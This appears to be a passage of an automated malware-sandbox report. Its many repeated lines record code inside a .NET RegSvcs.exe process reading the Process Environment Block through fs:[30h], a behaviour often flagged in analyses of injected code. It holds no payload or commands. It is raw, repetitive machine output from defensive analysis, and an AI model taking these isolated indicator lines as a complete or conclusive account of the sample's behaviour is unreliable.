Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E284 mov eax, dword ptr fs:[00000030h] 3_2_0121E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E284 mov eax, dword ptr fs:[00000030h] 3_2_0121E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA2C3 mov eax, dword ptr fs:[00000030h] 3_2_011EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA2C3 mov eax, dword ptr fs:[00000030h] 3_2_011EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA2C3 mov eax, dword ptr fs:[00000030h] 3_2_011EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA2C3 mov eax, dword ptr fs:[00000030h] 3_2_011EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA2C3 mov eax, dword ptr fs:[00000030h] 3_2_011EA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B62D6 mov eax, dword ptr fs:[00000030h] 3_2_012B62D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F02E1 mov eax, dword ptr fs:[00000030h] 3_2_011F02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F02E1 mov eax, dword ptr fs:[00000030h] 3_2_011F02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F02E1 mov eax, dword ptr fs:[00000030h] 3_2_011F02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E53E mov eax, dword ptr fs:[00000030h] 3_2_0120E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E53E mov eax, dword ptr fs:[00000030h] 3_2_0120E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E53E mov eax, dword ptr fs:[00000030h] 3_2_0120E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E53E mov eax, dword ptr fs:[00000030h] 3_2_0120E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E53E mov eax, dword ptr fs:[00000030h] 3_2_0120E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01276500 mov eax, dword ptr fs:[00000030h] 3_2_01276500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0535 mov eax, dword ptr fs:[00000030h] 3_2_011F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0535 mov eax, dword ptr fs:[00000030h] 3_2_011F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0535 mov eax, dword ptr fs:[00000030h] 3_2_011F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0535 mov eax, dword ptr fs:[00000030h] 3_2_011F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0535 mov eax, dword ptr fs:[00000030h] 3_2_011F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0535 mov eax, dword ptr fs:[00000030h] 3_2_011F0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4500 mov eax, dword ptr fs:[00000030h] 3_2_012B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4500 mov eax, dword ptr fs:[00000030h] 3_2_012B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4500 mov eax, dword ptr fs:[00000030h] 3_2_012B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4500 mov eax, dword ptr fs:[00000030h] 3_2_012B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4500 mov eax, dword ptr fs:[00000030h] 3_2_012B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4500 mov eax, dword ptr fs:[00000030h] 3_2_012B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4500 mov eax, dword ptr fs:[00000030h] 3_2_012B4500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121656A mov eax, dword ptr fs:[00000030h] 3_2_0121656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121656A mov eax, dword ptr fs:[00000030h] 3_2_0121656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121656A mov eax, dword ptr fs:[00000030h] 3_2_0121656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E8550 mov eax, dword ptr fs:[00000030h] 3_2_011E8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E8550 mov eax, dword ptr fs:[00000030h] 3_2_011E8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012605A7 mov eax, dword ptr fs:[00000030h] 3_2_012605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012605A7 mov eax, dword ptr fs:[00000030h] 3_2_012605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012605A7 mov eax, dword ptr fs:[00000030h] 3_2_012605A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012045B1 mov eax, dword ptr fs:[00000030h] 3_2_012045B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012045B1 mov eax, dword ptr fs:[00000030h] 3_2_012045B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E2582 mov eax, dword ptr fs:[00000030h] 3_2_011E2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E2582 mov ecx, dword ptr fs:[00000030h] 3_2_011E2582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01214588 mov eax, dword ptr fs:[00000030h] 3_2_01214588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E59C mov eax, dword ptr fs:[00000030h] 3_2_0121E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E5E7 mov eax, dword ptr fs:[00000030h] 3_2_0120E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C5ED mov eax, dword ptr fs:[00000030h] 3_2_0121C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C5ED mov eax, dword ptr fs:[00000030h] 3_2_0121C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E65D0 mov eax, dword ptr fs:[00000030h] 3_2_011E65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E5CF mov eax, dword ptr fs:[00000030h] 3_2_0121E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E5CF mov eax, dword ptr fs:[00000030h] 3_2_0121E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A5D0 mov eax, dword ptr fs:[00000030h] 3_2_0121A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A5D0 mov eax, dword ptr fs:[00000030h] 3_2_0121A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E25E0 mov eax, dword ptr fs:[00000030h] 3_2_011E25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266420 mov eax, dword ptr fs:[00000030h] 3_2_01266420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266420 mov eax, dword ptr fs:[00000030h] 3_2_01266420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266420 mov eax, dword ptr fs:[00000030h] 3_2_01266420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266420 mov eax, dword ptr fs:[00000030h] 3_2_01266420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266420 mov eax, dword ptr fs:[00000030h] 3_2_01266420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266420 mov eax, dword ptr fs:[00000030h] 3_2_01266420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01266420 mov eax, dword ptr fs:[00000030h] 3_2_01266420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A430 mov eax, dword ptr fs:[00000030h] 3_2_0121A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01218402 mov eax, dword ptr fs:[00000030h] 3_2_01218402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01218402 mov eax, dword ptr fs:[00000030h] 3_2_01218402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01218402 mov eax, dword ptr fs:[00000030h] 3_2_01218402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DC427 mov eax, dword ptr fs:[00000030h] 3_2_011DC427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DE420 mov eax, dword ptr fs:[00000030h] 3_2_011DE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DE420 mov eax, dword ptr fs:[00000030h] 3_2_011DE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DE420 mov eax, dword ptr fs:[00000030h] 3_2_011DE420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D645D mov eax, dword ptr fs:[00000030h] 3_2_011D645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126C460 mov ecx, dword ptr fs:[00000030h] 3_2_0126C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120A470 mov eax, dword ptr fs:[00000030h] 3_2_0120A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120A470 mov eax, dword ptr fs:[00000030h] 3_2_0120A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120A470 mov eax, dword ptr fs:[00000030h] 3_2_0120A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121E443 mov eax, dword ptr fs:[00000030h] 3_2_0121E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120245A mov eax, dword ptr fs:[00000030h] 3_2_0120245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129A456 mov eax, dword ptr fs:[00000030h] 3_2_0129A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012144B0 mov ecx, dword ptr fs:[00000030h] 3_2_012144B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126A4B0 mov eax, dword ptr fs:[00000030h] 3_2_0126A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0129A49A mov eax, dword ptr fs:[00000030h] 3_2_0129A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E64AB mov eax, dword ptr fs:[00000030h] 3_2_011E64AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E04E5 mov ecx, dword ptr fs:[00000030h] 3_2_011E04E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C720 mov eax, dword ptr fs:[00000030h] 3_2_0121C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C720 mov eax, dword ptr fs:[00000030h] 3_2_0121C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0710 mov eax, dword ptr fs:[00000030h] 3_2_011E0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125C730 mov eax, dword ptr fs:[00000030h] 3_2_0125C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121273C mov eax, dword ptr fs:[00000030h] 3_2_0121273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121273C mov ecx, dword ptr fs:[00000030h] 3_2_0121273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121273C mov eax, dword ptr fs:[00000030h] 3_2_0121273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C700 mov eax, dword ptr fs:[00000030h] 3_2_0121C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01210710 mov eax, dword ptr fs:[00000030h] 3_2_01210710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0750 mov eax, dword ptr fs:[00000030h] 3_2_011E0750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121674D mov esi, dword ptr fs:[00000030h] 3_2_0121674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121674D mov eax, dword ptr fs:[00000030h] 3_2_0121674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121674D mov eax, dword ptr fs:[00000030h] 3_2_0121674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E8770 mov eax, dword ptr fs:[00000030h] 3_2_011E8770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0770 mov eax, dword ptr fs:[00000030h] 3_2_011F0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222750 mov eax, dword ptr fs:[00000030h] 3_2_01222750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222750 mov eax, dword ptr fs:[00000030h] 3_2_01222750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01264755 mov eax, dword ptr fs:[00000030h] 3_2_01264755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126E75D mov eax, dword ptr fs:[00000030h] 3_2_0126E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012947A0 mov eax, dword ptr fs:[00000030h] 3_2_012947A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128678E mov eax, dword ptr fs:[00000030h] 3_2_0128678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E07AF mov eax, dword ptr fs:[00000030h] 3_2_011E07AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126E7E1 mov eax, dword ptr fs:[00000030h] 3_2_0126E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012027ED mov eax, dword ptr fs:[00000030h] 3_2_012027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012027ED mov eax, dword ptr fs:[00000030h] 3_2_012027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012027ED mov eax, dword ptr fs:[00000030h] 3_2_012027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EC7C0 mov eax, dword ptr fs:[00000030h] 3_2_011EC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E47FB mov eax, dword ptr fs:[00000030h] 3_2_011E47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E47FB mov eax, dword ptr fs:[00000030h] 3_2_011E47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012607C3 mov eax, dword ptr fs:[00000030h] 3_2_012607C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01216620 mov eax, dword ptr fs:[00000030h] 3_2_01216620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01218620 mov eax, dword ptr fs:[00000030h] 3_2_01218620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F260B mov eax, dword ptr fs:[00000030h] 3_2_011F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F260B mov eax, dword ptr fs:[00000030h] 3_2_011F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F260B mov eax, dword ptr fs:[00000030h] 3_2_011F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F260B mov eax, dword ptr fs:[00000030h] 3_2_011F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F260B mov eax, dword ptr fs:[00000030h] 3_2_011F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F260B mov eax, dword ptr fs:[00000030h] 3_2_011F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F260B mov eax, dword ptr fs:[00000030h] 3_2_011F260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E609 mov eax, dword ptr fs:[00000030h] 3_2_0125E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E262C mov eax, dword ptr fs:[00000030h] 3_2_011E262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FE627 mov eax, dword ptr fs:[00000030h] 3_2_011FE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01222619 mov eax, dword ptr fs:[00000030h] 3_2_01222619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A660 mov eax, dword ptr fs:[00000030h] 3_2_0121A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A660 mov eax, dword ptr fs:[00000030h] 3_2_0121A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A866E mov eax, dword ptr fs:[00000030h] 3_2_012A866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A866E mov eax, dword ptr fs:[00000030h] 3_2_012A866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01212674 mov eax, dword ptr fs:[00000030h] 3_2_01212674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011FC640 mov eax, dword ptr fs:[00000030h] 3_2_011FC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C6A6 mov eax, dword ptr fs:[00000030h] 3_2_0121C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E4690 mov eax, dword ptr fs:[00000030h] 3_2_011E4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E4690 mov eax, dword ptr fs:[00000030h] 3_2_011E4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012166B0 mov eax, dword ptr fs:[00000030h] 3_2_012166B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0125E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0125E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0125E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0125E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012606F1 mov eax, dword ptr fs:[00000030h] 3_2_012606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012606F1 mov eax, dword ptr fs:[00000030h] 3_2_012606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A6C7 mov ebx, dword ptr fs:[00000030h] 3_2_0121A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A6C7 mov eax, dword ptr fs:[00000030h] 3_2_0121A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D8918 mov eax, dword ptr fs:[00000030h] 3_2_011D8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D8918 mov eax, dword ptr fs:[00000030h] 3_2_011D8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126892A mov eax, dword ptr fs:[00000030h] 3_2_0126892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0127892B mov eax, dword ptr fs:[00000030h] 3_2_0127892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E908 mov eax, dword ptr fs:[00000030h] 3_2_0125E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125E908 mov eax, dword ptr fs:[00000030h] 3_2_0125E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126C912 mov eax, dword ptr fs:[00000030h] 3_2_0126C912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01206962 mov eax, dword ptr fs:[00000030h] 3_2_01206962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01206962 mov eax, dword ptr fs:[00000030h] 3_2_01206962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01206962 mov eax, dword ptr fs:[00000030h] 3_2_01206962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0122096E mov eax, dword ptr fs:[00000030h] 3_2_0122096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0122096E mov edx, dword ptr fs:[00000030h] 3_2_0122096E
